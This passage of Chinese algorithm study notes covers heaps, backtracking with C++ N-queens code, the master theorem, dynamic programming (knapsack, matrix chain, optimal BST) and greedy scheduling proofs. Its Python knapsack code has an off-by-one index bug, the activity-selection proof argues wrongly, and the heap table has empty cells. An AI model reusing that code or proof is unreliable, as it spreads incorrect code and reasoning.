MinTree-1到0,将拆分出的树依次放入DeletedQueue中。 - 将每棵树的
NextSibling设为NULL,以正确断开链表。
更新原队列的大小并合并
- 从原队列
H的当前大小中减去DeletedQueue的大小以及1(因为删除了一个根)。 - 调用
Merge函数将H和DeletedQueue合并,更新原队列。
返回最小元素
- 返回找到的最小元素。
堆性能的总结(单步摊还代价)¶
| Operation | Binary Heap | Leftist Heap | Skew Heap | Binomial Heap | Fibonacci Heap |
|---|---|---|---|---|---|
| Insert | \(O(\log n)\) | \(O(\log n)\) | \(O(\log n)\) | \(O(1)\) | \(O(1)\) |
| Merge | \(O(n)\) | \(O(\log n)\) | \(O(\log n)\) | \(O(\log n)\) | \(O(1)\) |
| DeleteMin | \(O(\log n)\) | \(O(\log n)\) | \(O(\log n)\) | \(O(\log n)\) | \(O(\log n)\) |
| Delete | \(O(\log n)\) | \(O(\log n)\) | \(O(\log n)\) | \(O(\log n)\) | |
| DecreaseKey | \(O(\log n)\) | \(O(\log n)\) | \(O(\log n)\) | \(O(1)\) |
Backtracking(回溯算法)¶
约 226 个字 90 行代码 预计阅读时间 2 分钟
回溯算法
回溯算法是一种算法技术,通过逐步尝试部分解决方案来解决问题,如果某个部分解决方案不满足问题的约束条件,就会放弃它。它会探索所有可能的解决方案,并排除那些不符合条件的选项。
八皇后问题¶
八皇后问题
八皇后问题是一个经典的组合优化问题,目标是在一个 8×8 的国际象棋棋盘上放置 8 个皇后,使得它们彼此之间无法攻击。换句话说,任何两个皇后不能在同一行、同一列或同一对角线上。
k皇后问题是八皇后问题的一般化,即在一个 n×n 的棋盘上放置 k 个皇后,使得它们彼此之间无法攻击。
个人cpp代码
#include<iostream>
#include<vector>
class Game
{
public:
int Number;
std::vector<std::vector<int>> solutions;
std::vector<int> Queen_setRow;
void init(int N);
void find_solution(int row);
bool is_safe(int row, int col);
};
void Game::init(int N)
{
Number = N;
for(int i=0; i<N; i++)
{
Queen_setRow.push_back(-1);
}
}
bool Game::is_safe(int row, int col)
{
for(int i=0; i<row; i++)
{
if(Queen_setRow[i] == col || abs(Queen_setRow[i] - col) == abs(i - row))
{
return false;
}
}
return true;
}
void Game::find_solution(int row)
{
if(row == Number)
{
solutions.push_back(Queen_setRow);
}
else {
for(int col=0; col<Number; col++)
{
if(is_safe(row, col))
{
Queen_setRow[row] = col;
find_solution(row+1);
Queen_setRow[row] = -1;
}
}
}
}
int main()
{
int N;
scanf("%d", &N);
Game chess;
chess.init(N);
chess.find_solution(0);
if(chess.solutions.size() < 3)
{
for(int i=0;i<chess.solutions.size();i++)
{
for(int j=0; j<chess.solutions[i].size(); j++)
{
printf("%d ", chess.solutions[i][j]+1);
}
printf("\n");
}
for(int k=0;k<3-chess.solutions.size();k++)
{
printf("\n");
}
}
else{
for(int i=0; i<3; i++)
{
for(int j=0; j<chess.solutions[i].size(); j++)
{
printf("%d ", chess.solutions[i][j]+1);
}
printf("\n");
}
}
printf("%ld", chess.solutions.size());
}
分治法¶
约 2143 个字 1 张图片 预计阅读时间 7 分钟
我们主要关心分治法的时间复杂度的分析以及它的应用
主定理¶
通常而言,分治法递归的时间复杂度有以下形式
其中\(a\)是子问题的个数,\(b\)是子问题的规模,\(f(n)\)是合并的时间;
代入法¶
代入法即猜想证明:
- 猜测解的形式
- 使用数学归纳法求出解中的常数,并证明是正确的
Example
\( T(N) = 2 \, T\left(\left\lfloor \frac{N}{2} \right\rfloor\right) + N \)
Guess: \( T(N) = O(N \log N) \)
Proof: Assume it is true for all \( m < N \), in particular for \( m = \left\lfloor \frac{N}{2} \right\rfloor \).
Then there exists a constant \( c > 0 \) so that
\( T\left(\left\lfloor \frac{N}{2} \right\rfloor\right) \leqslant c \left\lfloor \frac{N}{2} \right\rfloor \log \left\lfloor \frac{N}{2} \right\rfloor \)
Substituting into the recurrence:
注意\(c\)一定要是常数,不能与\(N\)有关
可以通过记住一些常见的结论,例如归并排序来简化计算
Eg
令\(m=\log n\),则\(n=2^m\),则
令\(S(m)=T(2^m)\),则
代入法得到\(S(m)=O(m \log m)\),所以\(T(n)=O(\log n \log \log n)\)
算法导论-微妙的细节

递归树法¶
递归树法是一种分析递归算法复杂度的常用方法,特别适用于分治算法的复杂度分析;通过把递归过程表示为一棵树,分析树的每一层的代价,从而得出整个算法的时间复杂度。以下是递归树法的主要步骤:
-
构建递归树:将递归公式表示为一棵树,其中每个节点代表递归中的一次计算。根节点表示最初调用的递归问题,子节点表示递归调用的子问题,树的深度反映递归的层数。
-
计算每一层的代价:对于递归树的每一层,计算该层所有节点的代价之和。通常,分治算法的每一层的计算量是相同的,或者遵循某种规律。
-
汇总每层的代价:将每一层的代价相加,得到整个递归树的总代价。
-
计算递归树的高度:递归树的高度代表递归调用的深度,通常与问题规模 \(N\) 有关。树的高度可以通过递归公式中的分割因子来确定。
-
总结总的复杂度:根据每层代价的总和以及递归树的高度,可以得出递归的总时间复杂度。
Example
考虑经典的分治算法,例如合并排序,其递归公式为:
应用递归树法的步骤如下:
-
构建递归树:
-
根节点为规模 \(N\) 的问题,分解成两个规模为 \(N/2\) 的子问题。
-
每个子问题进一步分解,直到分解到规模为 1 的问题。
-
计算每一层的代价:
-
第一层的代价是 \(O(N)\)。
- 第二层的两个子问题各自代价为 \(O(N/2)\),总计 \(O(N)\)。
- 第三层有四个子问题,每个代价 \(O(N/4)\),总计 \(O(N)\)。
可以看出每一层的代价都是 \(O(N)\)。
-
汇总每层的代价:
-
由于每一层的代价都是 \(O(N)\),如果递归树有 \( \log N \) 层,那么总代价为 \(O(N \log N)\)。
-
计算递归树的高度:
-
递归树的高度为 \( \log N\),因为每次将问题规模减半,直到规模为 1。
-
总结总的复杂度:
-
根据每层代价的总和以及树的高度,得到总时间复杂度为 \(O(N \log N)\)。
主定理¶
对于
则
Section
- 如果\(f(n)=O(n^{\log_b a-\epsilon})\),则\(T(n)=\Theta(n^{\log_b a})\)
- 如果\(f(n)=\Theta(n^{\log_b a})\),则\(T(n)=\Theta(n^{\log_b a} \log n)\)
- 如果\(f(n)=\Omega(n^{\log_b a+\epsilon})\),且对于某个常数\(c<1\)和所有足够大的\(n\)有
则\(T(n)=\Theta(f(n))\)
Warning
这三种情况并未覆盖 \(f(n)\) 的所有可能性。情况 1 和情况 2 之间有一定间隙,情况 2 和情况 3 之间也有一定间隙。如果函数 \(f(n)\) 落在这两个间隙中,或者情况 3 中要求的正则条件不成立.就不能使用主方法来求解递归式
Key-point
实际上主定理并不需要死记硬背,无论什么形式的主定理,其实关键都在于比较 \(n^{\log_b a}\) 和 \(f(n)\) 之间的关联,如果前者大,则前者 “掌控了” 整个时间复杂度,所以时间复杂度就是 \(T(n) = aT(n/b)\) 对应的复杂度,这也很符合直观,因为此时 \(a\) 比较大,分叉比较多,树比较大(结合前面递归树的例子),所以更大的复杂度会落在叶子上;反之后者大则每一层的复杂度 “掌控了” 整个时间复杂度,故整体时间就是 \(f(n)\) 级别的。这也就是 “主定理” 这一名字的含义,十分形象,就是看前后两半谁 master 了整体时间复杂度
- 若对于某个常数\(c>1\),有\(af(\frac{n}{b})=cf(n)\),则\(T(n)=\Theta(n^{\log_b a})\)
- 若\(af(\frac{n}{b})=f(n)\),则\(T(n)=\Theta(n^{\log_b a}\log n)\)
- 若对于某个常数\(c<1\),有\(af(\frac{n}{b})=cf(n)\),则\(T(n)=\Theta(f(n))\)
这实际上是形式1的推论,可以直观上来理解一下
- 情况1说明每次分治对于\(f(n)\)的影响很大,将它分得很小,所以复杂度由前半部分控制
- 情况2说明每次分治对于\(f(n)\)的影响适中,将它分得适中,所以复杂度是共同影响
- 情况3说明每次分治对于\(f(n)\)的影响很小,将它分得很大,所以复杂度由后半部分控制
对于递推式
有如下结论:
- 若 \(\log_b a > k\),则 \(T(n) = \Theta(n^{\log_b a})\)
- 若 \(\log_b a = k\),则 \(T(n) = \Theta(n^k \log^{p+1} n)\)
- 若 \(\log_b a < k\),则 \(T(n) = \Theta(n^k \log^p n)\)
这里的主要变化是第二种情况,它相比于原先的形式更加强大,如果按照原来的形式就是\(n^k \log n\),这里在对数的基础上增强了;
- 若 \(\log_b a > k\),则 \(T(n) = \Theta(n^{\log_b a})\)
- 若 \(\log_b a = k\),则
- \(p>-1\),\(T(n) = \Theta(n^k \log^{p+1} n)\)
- \(p=-1\),\(T(n) = \Theta(n^k \log \log n)\)
- \(p<-1\),\(T(n) = \Theta(n^k)\)
- 若 \(\log_b a < k\),则
- \(p \geqslant 0\),\(T(n) = \Theta(n^k \log^p n)\)
- \(p<0\),\(T(n) = \Theta(n^k)\)
分治法的应用¶
回忆梦开始的地方
最大子序列问题¶
最大子序列问题是一个经典的分治算法问题,其目标是找到一个序列中的一个连续子序列,使得该子序列的和最大。即寻找子数组 A[low,high] 的最大子序列和,我们首先找到数组中央位置 mid,这个问题可以通过分治算法来解决,其基本思路是将问题分解成三个子问题,假设目标子序列是\(A[i,j]\):
- 最大子序列和完全在
A[low,high]中,即 \(low \leqslant i \leqslant j \leqslant mid\); - 最大子序列和完全在
A[mid+1,high]中,即 \(mid+1 \leqslant i \leqslant j \leqslant high\); -
最大子序列和跨越
mid两边,即 \(low \leqslant i \leqslant mid < j \leqslant high\)。 -
分治:将原数组平分为两半
A[low, mid]和A[mid + 1, high],然后分别对这两半求解最大子序列和;一定不能忘记递归有 base case,这里的 base case 就是数组只剩下一个元素,那就什么都不用操作,直接返回进入下一步合并阶段; -
合并:首先我们要计算跨越
mid两边的最大子序列和,然后和左右两半的结果比较,选择最大的作为最终结果。关键在于计算跨越mid两边的最大子序列和,这其实是线性的,为什么?因为这里的子序列都必须跨越mid,所以最大子序列和就是最大的A[i, mid]加上最大的A[mid + 1, j],这个只需要对i,j做遍历就行,所以是线性的。
那么我们得到的递推公式就是很简单的 \(T(n) = 2T(n/2) + O(n)\),所以就是 \(O(n \log n)\) 的复杂度。
exstra
归并排序与快速排序的时间复杂度都是\(O(n \log n)\); 注意快速排序最坏是\(O(n^2)\), 但是其期望时间复杂度是 \(O(n \log n)\)
逆序对计数¶
逆序数
逆序对计数问题是计算一个数组中逆序对的数量的经典算法问题。在一个数组中,逆序对指的是数组中满足以下条件的一对元素 \((i, j)\):
- 索引条件:\(i < j\)
- 大小关系:\(A[i] > A[j]\)
换句话说,逆序对是数组中一个较大的数出现在一个较小的数之前的情况。
分治法将问题分为三类
- 全在左半边的逆序对个数
- 全在右半边的逆序对个数
- 跨越中点的逆序对个数
但是跨越中点的逆序对个数看起来似乎有\(\frac{n}{2} * \frac{n}{2}\)种,所以我们每次算完左右两边的逆序对个数后,进行一次merge sort,那么合并过程中计算跨越中点的逆序对个数就只需要线性时间了:在合并两个已排序的子序列的过程中我们就很容易完成逆序对的计算
最近点对问题¶
这是相当经典的应用。同样分为三个部分,左最近点对、右最近点对和分离最近点对,那么关键就在于线性地找到分离最近点对。
我们记 \(x\) 坐标的中点的横坐标为 \(\overline{x}\),记作左右两半中最近点对距离为 \(\delta\)。因为我们要找分离最近点对,于是只要考虑 \([\overline{x}-\delta, \overline{x}+\delta]\) 之间的所有点 $ q_1, q_2, \cdots, q_n $,它们按 \(y\) 坐标从小到大排序。设 \(q_i\) 的 \(y\) 坐标为 \(y_i\),那么我们只需要从下往上检查坐标在 \([\overline{x}-\delta, \overline{x}+\delta]\) 和 \([y_i, y_i+\delta]\) 之间的长方形区域中的所有点,考察这些点是否和 \(q_i\) 有更近的点对即可。
我们将这个长方形区域分为平均分割成 8 块,则每块内最多出现一个点(否则每块内两点之间的距离就不超过 \(\dfrac{\sqrt{2}}{2} \delta\) 了,这就与左右两半中最近点对距离为 \(\delta\) 相矛盾),于是对于每个 \(q_i\),我们至多只需要向上找 7 个点即可。
实际上我们还可以把这 7 个点进一步减少:
-
例如当前我们循环到了一个在左半边的点,那么整个左半边的点都不需要考虑,只需要考虑右半边 4 个格子最多的 4 个点。但要注意的是这种情况你需要提前维护好左右两边各自的按 y 坐标排序的点列,然后要维护 y 坐标紧跟着左半边的每个点的四个右半边的点,对称的右半边也要维护,这并不复杂。
-
再更进一步,我们还可以将 4 这个数字降为 3。因为我们每在右半部分放一个点(\(q_i\) 在右半部分),那么在右半部分,以这个点为圆心半径为 \(\delta\) 的圆内不可能再有另一个点,事实上最差的情况就是有四个这样的圆心,此时这四个圆心在左半区域的四个角上(\((0,0)\), \((0, \delta)\), \((\delta, 0)\), \((\delta, \delta)\)),这时候毫无疑问的就是 \((0, 0)\) 处的点最好。而其它情况下不可能有四个圆心,只能有三个,那么在最多三个圆心中寻找最近点对,也就只需要遍历 3 个点就足够了
Dynamic Programming¶
约 2994 个字 58 行代码 4 张图片 预计阅读时间 11 分钟
动态规划的由来
动态规划(Dynamic Programming,DP)是一种解决最优化问题的方法,它通过将复杂问题分解为更简单的子问题来求解。这种方法最早由理查德·贝尔曼(Richard Bellman)在1950年代提出,最初是用于解决决策过程中的问题,尤其是在控制论和运筹学领域。
动态规划的基本思想是利用子问题的最优解构造出原问题的最优解。它的由来可以追溯到以下几个关键点:
-
重叠子问题:许多最优化问题可以分解成重叠的子问题,动态规划通过记录子问题的解来避免重复计算。
-
最优子结构:如果一个问题的最优解包含其子问题的最优解,则可以通过解决子问题来构造原问题的解。
-
贝尔曼方程:贝尔曼提出了一个递归关系(即贝尔曼方程),描述了如何通过子问题的解来得到原问题的解。
动态规划的应用广泛,包括背包问题、最短路径问题、最长公共子序列等多个领域,是算法设计中一个非常重要的概念。
引入动态规划-爬楼梯问题¶
Question
假设你正在爬楼梯。需要爬 n 阶你才能到达楼顶。每次你可以爬 1 或 2 个台阶,求有多少种不同的方法爬到楼顶,我们要求算法在线性时间内解决这一问题。
如果我们要使用常规的计数方法或者分治法来计算,其时间复杂度是达不到线性时间的要求的;但是我们可以使用动态规划的方法来解决这个问题。
考虑最后一步,当我们即将到达楼顶时,我们可以选择爬 1 个台阶或者 2 个台阶。如果我们选择爬 1 个台阶,那么前面的 n-1 个台阶有多少种爬法我们已经知道了;如果我们选择爬 2 个台阶,那么前面的 n-2 个台阶有多少种爬法我们也知道了。因此,爬到第 n 阶的方法数就是爬到第 n-1 阶和第 n-2 阶的方法数之和。即:
这就是斐波那契数,然而虽然这个形式是如此优美,代码也是如此简单
但是每一次计算我们都需要计算到最深再返回,这样的时间复杂度是爆炸的;我们可以使用动态规划的方法来解决这个问题,我们可以使用一个数组来保存每一步的结果,这样我们就可以在 O(n) 的时间内解决这个问题。
int fib(int n) {
if (n <= 1) return 1;
vector<int> dp(n+1, 0);
dp[0] = dp[1] = 1;
for (int i = 2; i <= n; i++) {
dp[i] = dp[i-1] + dp[i-2];
}
return dp[n];
}
这一重要的思想我们称其为 “记忆化”,非常形象,因为我们就是利用额外的空间记住曾经算过的结果,从而避免了重复计算的问题。换句话说,原先递归的方法实际上是一种 “自顶向下” 的方法,它符合我们的直接思路:最后长度为 n 的问题需要长度为 n − 1 和 n − 2 的求和,那我们的代码直接利用递归计算递归式显得非常自然。但是重复的计算迫使我们放弃这种自然的想法,转而采用自底向上从小问题逐步迭代构建原问题的解法。
Summary
在爬楼梯这一简单而经典的问题中,通过对最后一步两种情况的分类,将整个问题的解转化为了两个子问题解的求和,即有一个从子问题的解到原问题的解的递推公式,然后我们通过记忆化的方式求解递推式。我们将上述特点抽象出来: 一个问题,它的最优解可以表达为一些合适的子问题的最优解的递推关系,则我们称这一问题具有最优子结构性质(因为大问题的最优解可以直接依赖于小问题的最优解) 。然后我们求解这一递推式,通过设置好 base case(这里我们也用 basecase 指代最简单的情况,但注意这时不是递归了),然后通过记忆化的方法,使用迭代算法而非费时的递归算法避免冗余计算,得到一个时间复杂度令人满意的算法,这就是动态规划的基本想法。
动态规划方法通常用来求解最优化问题(optimization problem)。这类问题可以有很多可行解,每个解都有一个值,我们希望寻找具有最优值(最小值或最大值)的解。我们称这样的解为问题的一个最优解(an optimal solution),而不是最优解(the optimal solution),因为可能有多个解都达到最优值。 我们通常按如下 4 个步骤来设计一个动态规划算法:
- 刻画一个最优解的结构特征;
- 递归地定义最优解的值;
- 计算最优解的值,通常采用自底向上的方法;
- 利用计算出的信息构造一个最优解。
前三个步骤是动态规划算法求解问题的基础。如果我们仅仅需要一个最优解的值,而非解本身,可以忽略最后一个步骤
更精炼地,事实上动态规划就是为一个具有所谓最优子结构性质(即原问题最优解可以由子问题最优解递推得到)的最优化问题寻找一个子问题到原问题的递推式,然后用记忆化方法求解,有时候需要构造这一组解
加权独立集合问题¶
问题引入
你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。给定一个代表每个房屋存放金额的非负整数数组,计算你不触动警报装置的情况下,一夜之内能够偷窃到的最高金额
问题可以被抽象为
考虑一个无向图 G,其上所有点都在一条线上(这种图我们称其为路径图),每个点都有一个非负权重。我们称 G 的独立集合是指顶点互不相邻的子集(换句话说独立集合不会同时包含一条边上的两个点),然后要求解一个具有最大顶点权重和的独立集合。
简单例子
在这个图中有 8 个独立子集:
- 空集
- 四个单点集
- 第 1 和第 3 个点
- 第 1 和第 4 个点
- 第 2 和第 4 个点
其中最大的独立集合显然是第 2 和第 4 个点构成的集合,其权重和为 8,即小偷的最优选择是偷 2 和 4 两家,最大收益是 8。需要注意的是,题目的假设中每个顶点都有非负权重,所以最优解的顶点应当是越多越好。
为了构建出这一问题的最优子结构,我们考虑在\(n\)个点,\(n-1\)条边构成的图\(G(V,E)\)中最后一个点\(v_n\) 在不在解当中:
- 如果不在,那么问题的解就是子问题\(G_{n-1}\)的最优解
- 如果在,那么问题的解就是子问题\(G_{n-2}\)的最优解加上\(v_n\)
故设前 \(i\) 个点的最优加权独立集合的权重之和为 \(W_i\),我们可以写出递推关系:
最后我们可以自底向上构建解
我们在\(O(n)\)复杂度内完成了这一工作
如果我们需要重构出构成最优解有哪一些点,那么可以自顶向下根据递推式来判断当前图的最后一个点是否在解中
背包问题¶
背包问题是一个最最经典的动态规划问题,我们这里首先介绍最基础的背包问题,即 \(0-1\) 背包问题。这 一问题的描述如下:我们有 \(n\) 个物品,每个物品的重量为 \(s_i\),价值为 \(v_i\),我们有一个容量为 \(C\) 的背包,我们希望找到一个最优的装载方案,使得背包中的物品总价值最大。这一问题的特点是每个物品你要么不放进包里,要么完整的 \(1\) 个放进去,因此称为 \(0-1\) 背包问题。
这与加权独立集合问题略有不同
- 如果第 \(n\) 个物品不在最优解 \(S\) 中,即最优方案排除了最后一件物品,因此它可以看成仅由前 \(n−1\)个物品组成的子问题的一种可行解决方案
- 如果第 \(n\) 个物品在最优解 \(S\) 中,这种情况只有在 \(s_n \leqslant C\) 时才有意义。类似于加权独立集合问题,我们希望 \(S − \{n\}\) 是前 \(n − 1\) 个物品组成的子问题的最优解,但这显然是错误的!如果 \(S − \{n\}\)就已经把 \(W\)几乎占满,那最后 \(n\) 根本就放不进来了。因此我们需要对子问题的设置略做调整:\(S − \{n\}\) 应当是前 \(n\) 个物品在背包容量为 \(C −s_n\) 的情况下的最优解!因为我们知道 \(n\) 在解中,那么除去 \(n\) 之外的其它解的重量之和最多就是 \(C − s_n\),因此 \(S − \{n\}\) 应当是前 \(n\) 个物品在背包容量为 \(C − s_n\)的情况下的可行解
所以
def knapsack(weights, values, capacity):
n = len(weights)
dp = [[0] * (capacity + 1) for _ in range(n + 1)]
for i in range(1, n + 1):
for c in range(capacity + 1):
if weights[i] > c: #如果当前物品的重量大于背包容量,不用再考虑
dp[i][c] = dp[i-1][c]
else:
dp[i][c] = max(dp[i-1][c], dp[i-1][c-weights[i-1]] + values[i-1])
return dp[n][capacity]
解的重构
矩阵乘法的计算顺序¶
我们考虑矩阵链相乘 \( M_1M_2 \cdots M_n \),每个矩阵的大小为 \( r_{i-1} \times r_i \)。记
显然前面的三个问题给我们了不少的经验:我们应当考虑最后一个矩阵,然后依据这一矩阵可能的相乘方式划分最优解的可能性。很简单的,第一种情况对应我们的计算方式是 \( M_{1,n-1} \cdots M_n \),即先用算前 \( n-1 \) 个矩阵相乘的最优方式计算前 \( n-1 \) 个矩阵的乘积,最后与 \( M_n \) 相乘;第二种情况的计算方式是 \( M_{1,n-2} \cdots M_{n-1}M_n \),即先用算前 \( n-2 \) 个矩阵相乘的最优方式计算前 \( n-2 \) 个矩阵的乘积,最后与 \( M_{n-1}M_n \) 的结果相乘。这是根据我们前面的问题的经验得到的,和表述完全一致,但事实上真的只有这两种情况吗?显然不是的!注意,请回到我们分类的根源来看:我们此时分类的依据是 \( M_n \) 的计算方式,那么对于如下乘积形式:
只要是不同的 \( i \) ,我们就可以得到不同的计算方式
因此,我们自顶向下寻找最优解时,应该考虑对于一个无序矩阵,我们的第一刀应该切在哪个地方
前两项代表左右子问题的解,最后一项代表合并的代价,更具体的,我们有
void OptMatrix( const long r[ ], int N, TwoDimArray M )
{ int i, j, k, L;
long ThisM;
for( i = 1; i <= N; i++ ) M[ i ][ i ] = 0; //base case
for( k = 1; k < N; k++ ) /* k = j - i */
for( i = 1; i <= N - k; i++ ) { /* For each position */
j = i + k; M[ i ][ j ] = Infinity;
for( L = i; L < j; L++ ) {
ThisM = M[ i ][ L ] + M[ L + 1 ][ j ]
+ r[ i - 1 ] * r[ L ] * r[ j ];
if ( ThisM < M[ i ][ j ] ) /* Update min */
M[ i ][ j ] = ThisM;
} /* end for-L */
} /* end for-Left */
}
代码解释
- 参数:
r是矩阵链的维度数组,N是矩阵链的长度,M是动态规划的结果表。 - 初始化base case:
for( i = 1; i <= N; i++ ) M[ i ][ i ] = 0;-
这一步将矩阵
M的对角线元素设为 0,因为单个矩阵的乘法代价为零。 -
填充动态规划表:
for( k = 1; k < N; k++ ):k表示当前考虑的矩阵链长度。for( i = 1; i <= N - k; i++ ):i是链的起始位置。j = i + k;:j是链的结束位置。M[ i ][ j ] = Infinity;:初始化M[i][j]为无穷大,表示尚未计算出最小代价。for( L = i; L < j; L++ ):L是可能的分割点。ThisM = M[ i ][ L ] + M[ L + 1 ][ j ] + r[ i - 1 ] * r[ L ] * r[ j ];- 计算从
i到L和从L+1到j的乘法代价,加上合并两个结果矩阵的代价。
- 计算从
if ( ThisM < M[ i ][ j ] ) M[ i ][ j ] = ThisM;- 如果计算出的代价小于当前存储的代价,则更新
M[i][j]。
- 如果计算出的代价小于当前存储的代价,则更新
时间复杂度:\(O(n^3)\),其中 \(n\) 是矩阵链的长度。
解的重构
这一问题重构解的方法如果用和前面的问题一样简单直接的控制方法显然会比较耗时,因为我们每次要比较很多种可能的情况才能重构出解,所以我们需要做一些优化。优化的方法也非常自然,实际上关键就是用一个二维数组记住每个子问题
对应的最优的分点,然后当我们算出问题 \( m_n \) 的最优解及其对应的最优分点后,我们再按左右两半子问题的最优分点,以此类推,用中序遍历的思想将分点输出即可,只需线性时间。
// Function to print the optimal parenthesization
void printOptimalParens(vector<vector<int>>& s, int i, int j) {
if (i == j) {
cout << "A" << i;
} else {
cout << "(";
printOptimalParens(s, i, s[i][j]);
cout << s[i][j];
printOptimalParens(s, s[i][j] + 1, j);
cout << ")";
}
}
最优二叉搜索树¶
Question
这一问题给定如下输入:给定一列单词 \( w_1, w_2, \ldots, w_n \)(它们的顺序已经按字典序排列)和它们出现的固定的概率 \( p_1, p_2, \ldots, p_n \)。问题是要以一种方法在一棵二叉查找树中安放这些单词使得总的期望查找时间最小。
在一棵二叉查找树中,访问深度 \( d \) 处的每一个元素所需要的比较次数是 \( d+1 \),因此如果 \( w_i \) 被放在深度 \( d_i \) 上,那么我们期望将 \( \sum_{i=1}^{N} p_i (1 + d_i) \) 极小化。
使用贪心和AVL等算法不一定可行,使用分治法又需要首先知道最优根节点在哪里,所以我们使用动态规划的方法来解决这个问题。
如果我们知道最优根节点\(w_k\),那么在整个问题的最优解中,由于事先已经按照字母序排好,左子树必然是\(w_1 \cdots w_{k-1}\) 的最优解,右子树也必然是\(w_{k+1} \cdots w_n\) 的最优解,因此我们可以得到递推关系
其中\(p_k\)代表权重,\(c_{ij}\)代表从\(i\)到\(j\)的最优成本,\(c_{i,k-1}\)代表左子树的最优成本,\(c_{k+1,j}\)代表右子树的最优成本。
前面第一项是因为由于根节点的存在,所有的节点都加深一层,是两个子问题结合的结果,后面的项是左右子树的最优解。
这个算法是\(O(n^3)\)的,但是可以优化到\(O(n^2)\)
Greedy Algorithm¶
约 3024 个字 56 行代码 6 张图片 预计阅读时间 11 分钟
贪心算法保证每次选择都是局部最优的,如果局部最优也是全局最优,那么贪心算法就是正确的。
活动选择问题¶
问题描述
给定一个活动集合 \(S = \{a_1, a_2, \ldots, a_n\}\),其中每个活动 \(a_i\) 都有一个开始时间 \(s_i\) 和结束时间 \(f_i\),且 \(0 \leqslant s_i < f_i < \infty\)。如果活动 \(a_i\) 和 \(a_j\) 满足 \(f_i \leqslant s_j\) 或 \(f_j \leqslant s_i\),则称活动 \(a_i\) 和 \(a_j\) 是兼容的(即二者时间不会重合)。活动选择问题就是要找到一个最大的兼容活动子集。
动态规划
我们假设输入中是按照 \(n\) 个活动结束时间从小到大排列的。可以设计出两种动态规划的递推式来解决这个问题:
- 设 \(S_{ij}\) 表示活动 \(a_i\) 和 \(a_j\) 之间的最大兼容活动集合(开始时间在 \(a_i\) 结束之后,结束时间在 \(a_j\) 开始之前),其大小记为 \(c_{ij}\),那么我们有
这一解法的思想更接近矩阵乘法顺序问题,我们会选择中间的最优解然后分为左右子问题递归。
- 设 \(S_i\) 表示活动 \(a_1, a_2, \ldots, a_i\) 的最大兼容活动集合,其大小记为 \(c_i\),那么我们有
其中 \(k(i)\) 表示在 \(1 \leqslant k \leqslant i\) 中,\(f_k \leqslant s_i\) 且\(c_k\)最大的\(k\),即不与\(a_i\)冲突的最晚结束的活动这一思想更接近背包问题的思路,即我们考虑最后一个是否在解中,分成两种情况考虑。
Property
两种动态规划的时间复杂度都是 \(O(n^3)\),可以优化为 \(O(n^2)\)。
贪心算法
很多时候使用贪心只需要一次遍历就能找到最优解,这里我们可以使用贪心算法来解决活动选择问题。
我们依次排好序后选择 不冲突的结束时间最早的事件(或者从后往前看依次选择不冲突的开始时间最晚的事件) 加到最优解中
Proof
假设 \(a_k\) 是 \(a_1, a_2, \ldots, a_n\) 中结束时间最早的活动,那么 \(a_k\) 一定是某个最大兼容活动子集的一部分。因为如果 \(a_k\) 不在最大兼容活动子集中,那么我们可以将 \(a_k\) 替换为最大兼容活动子集中的某个活动,这样我们就得到了一个更大的兼容活动子集,这与我们的假设矛盾。
Property
如果活动已经排好序排序,那么贪心算法的时间复杂度是 \(O(n)\)。
否则需要排序,时间复杂度是 \(O(n \log n)\)。
Extra
-
加权活动选择问题:每个活动 \(a_i\) 都有一个权重 \(w_i\),我们要找到一个最大权重的兼容活动子集。
此时动态规划仍然可行,但是贪心算法不可行;
-
区间调度问题:我们现在的问题不再是最大化兼容集合的大小或者权重,而是所有活动都必须举办,考虑将所有活动分配到最少的教室中,使得每个教室内的活动不冲突。
我们可以用贪心算法解决这个问题:将所有活动按照开始时间排序,设置初始教室数量为 1,然后从前往后遍历。每次选择一个活 动时,我们都看当前的教室中的活动有没有不冲突的,如果有就直接放进对应的教室,如果全部冲突则新开一个教室
(a) 展示了一个例子,我们可以看到最多同一时间有三个活动那同时进行,所以我们需要三个教室,如果需要四个教室,说明至少某一时刻有四个活动同时进行,这是不可能的。
(b) 展示了一个贪心算法的实现,我们可以看到从前往后,我们首先选择a,b,c,发现三个活动同时进行,所以开出三个教室,然后到e,d,发现其可以放进不冲突的c,a教室中,以此类推,最后用三个教室解决问题
调度问题¶
问题描述
假设我们现在有 \(n\) 个任务,每个任务 \(i\) 都有一个正的完成需要的时间 \(li\) 和一个权重 \(wi\)。假定我们只能按一定顺序依次执行这些任务,不能并行。很显然的,我们有 \(n!\) 种调度方法,我们记 \(\sigma\) 为某一种调度,那么在调度 \(\sigma\) 中,任务 \(i\) 的完成时间 \(Ci(\sigma)\)是 \(\sigma\) 中在 \(i\) 之前的任务长度之和加上 \(i\) 本身的长度。换句话说,在一种调度中,一个任务的完成时间 就是这个任务从整个流程开始到它自己被执行完毕总共执行的时间。我们的目标是最小化加权完成时
我们运用贪心算法来解决这个问题,首先,如果它们权重一样,那么我们每次都选择时间最短的任务。如果时间一样,我们可以将任务按照权重排序,然后依次选择权重最大的。那么现在我们要同时考虑权重最大,时间最短的任务:
-
计算每个任务的\(w_i-l_i\),从大到小降序调度任务(\(l_i-w_i\),从小到大)
-
\(\dfrac{w_i}{l_i}\),从大到小降序调度任务(\(\dfrac{l_i}{w_i}\),从小到大)
Eg
有两个任务,\(l1 = 5, l2 = 2, w1 = 3, w2 = 1\)两种方法会返回不同的结果,而第二种才能返回最优解。
当然这只能说明第一种必然是错误的,对于第二种的正确性仍然需要证明。
Proof
调度问题的贪心选择性质 令 \(i\) 是当前 \(w_i / l_i\) 最大的任务,则在当前问题下,必一定存在将 \(i\) 排在首位的最优调度方式。
我们仍然使用“交换参数法”:假设有一个最优解 \(C\),如果它的第一个任务是 \(i\),结论成立。如果不是,我们考虑将 \(i\) 不断与前一个任务交换,直到换到第一个位置的过程。假设现在排在 \(i\) 前面的一个任务是 \(j\),我们知道一定有
又所有数都正,故有 \(w_i l_j - w_j l_i \geqslant 0\)。不难看出,\(i\) 和 \(j\) 交换前后其它的任务加权时间完全没有变化。变化仅在于 \(i\) 和 \(j\)。设在 \(i\) 前面的总时间为 \(t\),则交换前 \(i\) 和 \(j\) 的加权时间和为
交换后为
二者作差化简有
故由:往前换,加权时间和一定不会变大,故仍然保证最优解。那么我们就可以不断把 \(i\) 往前换,直到它在第一个位置,这样就证明了贪心选择性质。
